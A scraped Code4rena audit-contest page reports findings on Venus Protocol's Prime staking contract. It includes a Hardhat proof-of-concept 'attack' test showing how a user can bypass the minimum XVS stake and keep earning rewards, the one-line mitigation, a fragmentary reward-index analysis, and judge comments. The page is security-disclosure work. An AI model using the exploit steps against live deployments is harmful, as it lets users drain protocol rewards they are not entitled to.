Platform: Code4rena
Start Date: 28/09/2023
Pot Size: $36,500 USDC
Total HM: 5
Participants: 115
Period: 6 days
Judge: 0xDjango
Total Solo HM: 1
Id: 290
League: ETH
Rank: 14/115
Findings: 2
Award: $332.18
π Selected for report: 1
π Solo Findings: 0
π Selected for report: deth
Also found by: 0xDetermination, 0xpiken, 3agle, Brenzee, Flora, HChang26, KrisApostolov, Satyam_Sharma, Testerbot, aycozynfada, berlin-101, gkrastenov, mahdirostami, merlin, rokinot, rvierdiiev, said, santipu_, sl1, tapir, twicek
124.9633 USDC - $124.96
https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L334-L342 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L397-L405
A staker can circumvent the minimum staking limit and continue to receive rewards from the markets.
High
Impact + Medium
Likelihood β High
Severity
Hereβs a scenario that demonstrates this issue:
10000 XVS
tokens. After 90 days, she becomes eligible to claim a revocable Prime Token but chooses not to. Later, she meets the requirements for an irrevocable Prime Token and is minted one.9500 XVS
from the XVS Vault
, which is less than the MINIMUM_STAKED_XVS
. However, since she possesses an irrevocable token, she can do this and continue earning interest.stakedAt[]
value was not reset.//A code snippet of Prime::issue() for (uint256 i = 0; i < users.length; ) { Token storage userToken = tokens[users[i]]; if (userToken.exists && !userToken.isIrrevocable) { _upgrade(users[i]); } else { _mint(true, users[i]); _initializeMarkets(users[i]); //@audit Missing `delete stakedAt[users[i]];` (Bypass staking limit) } unchecked { i++; } }
Prime::claim()
function. As her stakedAt
value is older than 90 days, she becomes eligible to claim the revocable Prime Token and can start earning interest with her 500 XVS
stake.function claim() external { //@audit No check for minimum stake amount if (stakedAt[msg.sender] == 0) revert IneligibleToClaim(); if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime(); stakedAt[msg.sender] = 0; _mint(false, msg.sender); _initializeMarkets(msg.sender); }
describe("mint and burnβ)
section in Prime.ts
npx hardhat test tests/hardhat/Prime/Prime.ts
it.only("POC for bypassing minimum staking limit", async () => { console.log("----------------------π‘ Starting Attack π‘-------------------------"); console.log("[+] Alice deposits 10000 XVS"); await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(10000)); await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(10000)); let user1Info = await xvsVault.connect(user1).getUserInfo(xvs.address, 0, user1.getAddress()); console.log("[+] Alice's balance: %s", user1Info.amount.toString()); console.log("[+] Alice gets an irrevocable token minted"); await prime.issue(true, [user1.getAddress()]); let token = await prime.tokens(user1.getAddress()); expect(token.exists).to.be.equal(true); expect(token.isIrrevocable).to.be.equal(true); console.log("[+] Alice withdraws 9500 XVS"); await mine(1000); await xvsVault.connect(user1).requestWithdrawal(xvs.address, 0, bigNumber18.mul(9500)); await mine(500); await xvsVault.connect(user1).executeWithdrawal(xvs.address, 0); user1Info = await xvsVault.connect(user1).getUserInfo(xvs.address, 0, user1.getAddress()); console.log("[+] Alice's balance: %s", user1Info.amount.toString()); console.log("[+] Alice's Irrevocable token gets burned"); await prime.burn(user1.getAddress()); token = await prime.tokens(user1.getAddress()); expect(token.isIrrevocable).to.be.equal(false); expect(token.exists).to.be.equal(false); console.log("[+] 90+ days passed..."); await mine(77760000); console.log("[+] Alice claims revocable token even though her balance is 500 XVS"); await prime.connect(user1).claim(); token = await prime.tokens(user1.getAddress()); expect(token.isIrrevocable).to.be.equal(false); expect(token.exists).to.be.equal(true); console.log("-----------------------π΄ Attack Successful π΄------------------------"); });
PrimeScenario Token mint and burn ----------------------π‘ Starting Attack π‘------------------------- [+] Alice deposits 10000 XVS [+] Alice's balance: 10000000000000000000000 [+] Alice gets an irrevocable token minted [+] Alice withdraws 9500 XVS [+] Alice's balance: 500000000000000000000 [+] Alice's Irrevocable token gets burned [+] 90+ days passed... [+] Alice claims revocable token even though her balance is 500 XVS -----------------------π΄ Attack Successful π΄------------------------ β POC for bypassing minimum staking limit (552ms)
Manual Review
stakedAt[user]
value after issuing an irrevocable token. This prevents potential problems when the user later calls the Prime::claim()
function.for (uint256 i = 0; i < users.length; ) { Token storage userToken = tokens[users[i]]; if (userToken.exists && !userToken.isIrrevocable) { _upgrade(users[i]); } else { _mint(true, users[i]); _initializeMarkets(users[i]); delete stakedAt[users[i]]; // <- Mitigation } unchecked { i++; } }
Context
#0 - c4-pre-sort
2023-10-04T23:53:25Z
0xRobocop marked the issue as duplicate of #633
#1 - c4-judge
2023-11-01T02:23:13Z
fatherGoose1 marked the issue as satisfactory
π Selected for report: 3agle
Also found by: 0x3b, 0xDetermination, 0xweb3boy, ArmedGoose, Bauchibred, Breeje, J4X, hunter_w3b, jamshed, kaveyjoe, oakcobalt, radev_sw, versiyonbir
207.2161 USDC - $207.22
markets[vToken].rewardIndex
increases by +0.4.markets[vToken].rewardIndex
increases by +0.2.markets[vToken].rewardIndex
updated via accrueInterest
.markets[vToken].rewardIndex
increases by +0.1.interests[market][account].rewardIndex
set to markets[market].rewardIndex
.markets[vToken].rewardIndex
updated via accrueInterest
.markets[vToken].rewardIndex
increases by +2._interestAccrued
.markets[vToken].rewardIndex
(2.7) and interests[market][account].rewardIndex
(0.7) is 2 USDT per score point.interests[vToken][user].rewardIndex
set to the new markets[vToken].rewardIndex
.Prime.sol
is a critical component of Venus Protocol, offering users the opportunity to earn rewards generated from specific markets within the protocol. Here's how it works:
Key Features and Functions in Prime.sol
:
PrimeLiquidityProvider.sol
serves as the second source of tokens for the Prime program, complementing the tokens generated by Venus markets. Key details include:
PrimeLiquidityProvider
, allocates a predetermined quantity of tokens to Prime holders in a uniform manner over a defined period.Key Features and Functions in PrimeLiquidityProvider.sol
:
45 hours
#0 - 0xRobocop
2023-10-07T05:35:02Z
Most of the text feels as generic recommendations. I think the analysis is legit though, and provided illustrations helps.
#1 - c4-pre-sort
2023-10-07T05:35:07Z
0xRobocop marked the issue as sufficient quality report
#2 - c4-judge
2023-11-03T20:23:13Z
fatherGoose1 marked the issue as grade-a
#3 - c4-judge
2023-11-05T00:31:31Z
fatherGoose1 marked the issue as selected for report